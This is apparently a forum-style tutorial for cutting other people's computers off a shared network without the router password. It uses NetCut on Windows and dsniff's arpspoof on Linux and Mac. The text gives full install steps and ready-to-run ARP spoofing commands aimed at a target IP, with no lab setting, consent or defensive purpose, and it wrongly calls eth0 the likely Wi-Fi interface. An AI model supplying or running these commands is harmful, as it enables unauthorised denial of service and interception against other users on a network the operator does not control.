This is for people who DO NOT have access to the router password, and still want the ability to do this.
WINDOWS
What you need
1. Netcut [http://www.arcai.com/download/netcut.exe)]
2. WinPcap (comes with netcut installer)
Installation
To install netcut, just click the download link above and install it. WinPcap is part of the netcut installer.
How to use it
1. Run netcut as Administrator. If it is your first time running netcut, then it will ask which network card to use. Most people will have one, but if you have more, just use the one that is connected to the same network that the target is on. If it disappears after it is opened, then check your system tray (bottom right). The icon is a picture of little blue scissors.
2. Once it is opened and you selected the correct network card, wait until the network is refreshed. It could take a minute or so, and the box on the left will fill up with IPs of computers on the network. The right box holds your router IP.
3. Select the computer that you would like to cut off (it should turn blue). Press the button that says "Cut off (Ready)".
It works, if the little computer next to the IP that says "On" should turn to "Off".
To turn the target's network back on, just select the computer and press "Resume" at the top.
LINUX
What you need
1. Terminal Root Access
Installation
1. To install arpspoof, we just simply type: sudo apt-get install dsniff
How to use it
1. Make sure arpspoof is installed by typing: sudo arpspoof
If the command is not found then make sure dsniff is installed.
2. To cut the computer, type: sudo arpspoof -i INTERFACE -t TARGET ROUTER
The interface is the network interface. For Wi-Fi, it is probably eth0. The target is the IP of the target computer and the router is the IP of the router.
An example:
sudo arpspoof -i eth0 -t 192.168.11.XXX 192.168.11.1
MAC
What you need
1. Xcode Command Line Tools
2. MacPorts [http://macports.org/install.php]
3. Terminal Root Access
Installation
1. Install Xcode. It is free from the Mac App Store. Once it is installed, go to terminal and type:
xcode-select --install
It will ask if you would like to install Command Line Tools. Click "Allow" or "Accept", or whatever the button to confirm.
2. Install MacPorts. Make sure MacPorts is installed.
Type: sudo port
It should say something like "Entering interactive mode..." If it says that, then just type
quit
to exit. If it is NOT installed, then restart your Mac and then try to install it again.
3. To install the arpspoof command, we need to install a program that has arpspoof built in to it. We need to install "dsniff". To install dsniff,
type: sudo port install dsniff
THIS SHOULD FAIL. If it doesn't then skip to HOW TO USE IT. Now, because of the weird dependencies, we need to run 2 more commands.
Run: sudo port uninstall libnids
Once that finishes, run code: sudo port install libnids +libnet
How to use it
1. Make sure arpspoof is installed by
typing: sudo arpspoof
If the command is not found then make sure dsniff is installed.
2. To cut the computer, type:
sudo arpspoof -i INTERFACE -t TARGET ROUTER
The interface is the network interface. For Wi-Fi, it is probably en0. The target is the IP of the target computer and the router is the IP of the router.
An example:
sudo arpspoof -i en0 -t 192.168.11.xxx 192.168.11.1
